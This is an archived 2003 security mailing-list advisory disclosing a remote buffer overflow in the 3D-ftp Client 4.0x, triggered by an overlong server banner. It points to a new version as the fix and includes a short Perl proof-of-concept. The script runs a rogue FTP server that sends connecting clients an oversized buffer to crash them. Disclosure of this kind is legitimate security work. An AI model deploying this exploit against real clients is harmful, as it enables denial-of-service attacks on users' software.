Buffer overflow in 3D-ftp

From: Over_G (overgat_private)
Date: Mon Apr 28 2003 - 03:58:03 PDT

  • Next message: D4rkGr3y: "MDaemon SMTP/POP/IMAP server =>v.6.7.5: IMAP buffer overflow"

    Product: 3D-ftp Client
    Version: 4.0x
    OffSite: http://www.sitegallery.net/
    Problem: Remote buffer overflow
    ------------------------------------------
    
    3D-ftp - Quite good Windows FTP Client. FTP Client have many opportunities
    
    Remote buffer overflow will take place if server send long banner >= 8192
    Client can not process these data and he is crash! 
    
    Fix: Download new version.
    
    Sample exploit in perl. For Crash 3D-ftp use: ftpbanex.pl 8193
    
    
    
    
    
    
    #!/usr/bin/perl
    ########################################################
    #
    # Banner Buffer Overflow remote exploit in FTP Clients
    #
    #
    #                by Over_G [DWC Gr0up]
    #
    #         www.dwcgr0up.com      www.overg.com
    #########################################################
    use IO::Socket;
    $port = "21";
    $data = "a";
    $bsize = $ARGV[0];
    
    print "\n  Banner Buffer Overflow remote exploit in FTP Clients\n\n";
    print "           by Over G[DWC Gr0up]\n";
    print "     www.dwcgr0up.com www.overg.com\n\n";
    
    if (defined $bsize) {}
     else {
      print "Incorrect parameters.\n";
      die "Usage: perl ftpbanex.pl [buffer_size]\n";
    }
    print "Creating server...\n";
    $buf .= $data x $bsize;
    $server = IO::Socket::INET->new(LocalPort => $port, Type =>
    SOCK_STREAM, Reuse => 1, Listen => 2)
    or die "Couldn't create server.\n";
    print "Awayting connections...\n";
    while ($client = $server->accept())
    {
     print "Client connected.\n";
     print "Attacking...";
     print $client "$buf";
     print "OK\n";
     close($client);
    }
    
    
    
    
    
    Greetz to: DHGroup, Gipshack.
    
    www.overg.com www.dwcgr0up.com
    regards, Over G[DWC Gr0up]
    



    This archive was generated by hypermail 2b30 : Mon Apr 28 2003 - 10:26:08 PDT